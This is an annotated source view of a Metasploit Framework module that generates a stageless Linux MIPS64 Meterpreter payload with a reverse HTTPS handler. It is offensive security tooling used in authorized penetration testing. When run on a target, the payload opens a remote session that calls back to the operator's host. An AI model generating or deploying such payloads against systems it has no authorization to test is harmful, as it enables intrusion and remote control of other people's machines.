2016-12-09 18:21:52 -06:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2016-12-09 18:21:52 -06:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
2022-05-04 14:43:05 +01:00
|
|
|
# Module generated by tools/modules/generate_mettle_payloads.rb
|
2016-12-09 18:21:52 -06:00
|
|
|
module MetasploitModule
|
2025-05-19 12:03:14 +01:00
|
|
|
CachedSize = 1685392
|
2016-12-09 18:21:52 -06:00
|
|
|
|
2025-02-14 05:42:14 -05:00
|
|
|
|
2016-12-09 18:21:52 -06:00
|
|
|
include Msf::Payload::Single
|
2025-04-08 10:19:25 -04:00
|
|
|
include Msf::Sessions::MeterpreterOptions::Linux
|
2016-12-09 18:21:52 -06:00
|
|
|
include Msf::Sessions::MettleConfig
|
2025-02-14 05:42:14 -05:00
|
|
|
include Msf::Payload::Linux::Mips64::MeterpreterLoader
|
2016-12-09 18:21:52 -06:00
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(
|
|
|
|
|
update_info(
|
|
|
|
|
info,
|
2025-04-20 02:57:34 +10:00
|
|
|
'Name' => 'Linux Meterpreter, Reverse HTTPS Inline',
|
|
|
|
|
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
|
|
|
|
|
'Author' => [
|
2017-03-21 04:38:18 -05:00
|
|
|
'Adam Cammack <adam_cammack[at]rapid7.com>',
|
2017-10-30 14:04:10 -05:00
|
|
|
'Brent Cook <brent_cook[at]rapid7.com>',
|
|
|
|
|
'timwr'
|
2016-12-09 18:21:52 -06:00
|
|
|
],
|
2025-04-20 02:57:34 +10:00
|
|
|
'Platform' => 'linux',
|
|
|
|
|
'Arch' => ARCH_MIPS64,
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Handler' => Msf::Handler::ReverseHttps,
|
|
|
|
|
'Session' => Msf::Sessions::Meterpreter_mips64_Linux
|
2016-12-09 18:21:52 -06:00
|
|
|
)
|
|
|
|
|
)
|
|
|
|
|
end
|
|
|
|
|
|
2025-02-14 05:42:14 -05:00
|
|
|
def generate
|
2017-06-08 11:20:48 +10:00
|
|
|
opts = {
|
|
|
|
|
scheme: 'https',
|
|
|
|
|
stageless: true
|
2022-05-04 14:43:05 +01:00
|
|
|
}.merge(mettle_logging_config)
|
2025-02-14 05:42:14 -05:00
|
|
|
payload = MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec
|
|
|
|
|
in_memory_load(payload) + payload
|
2016-12-09 18:21:52 -06:00
|
|
|
end
|
|
|
|
|
end
|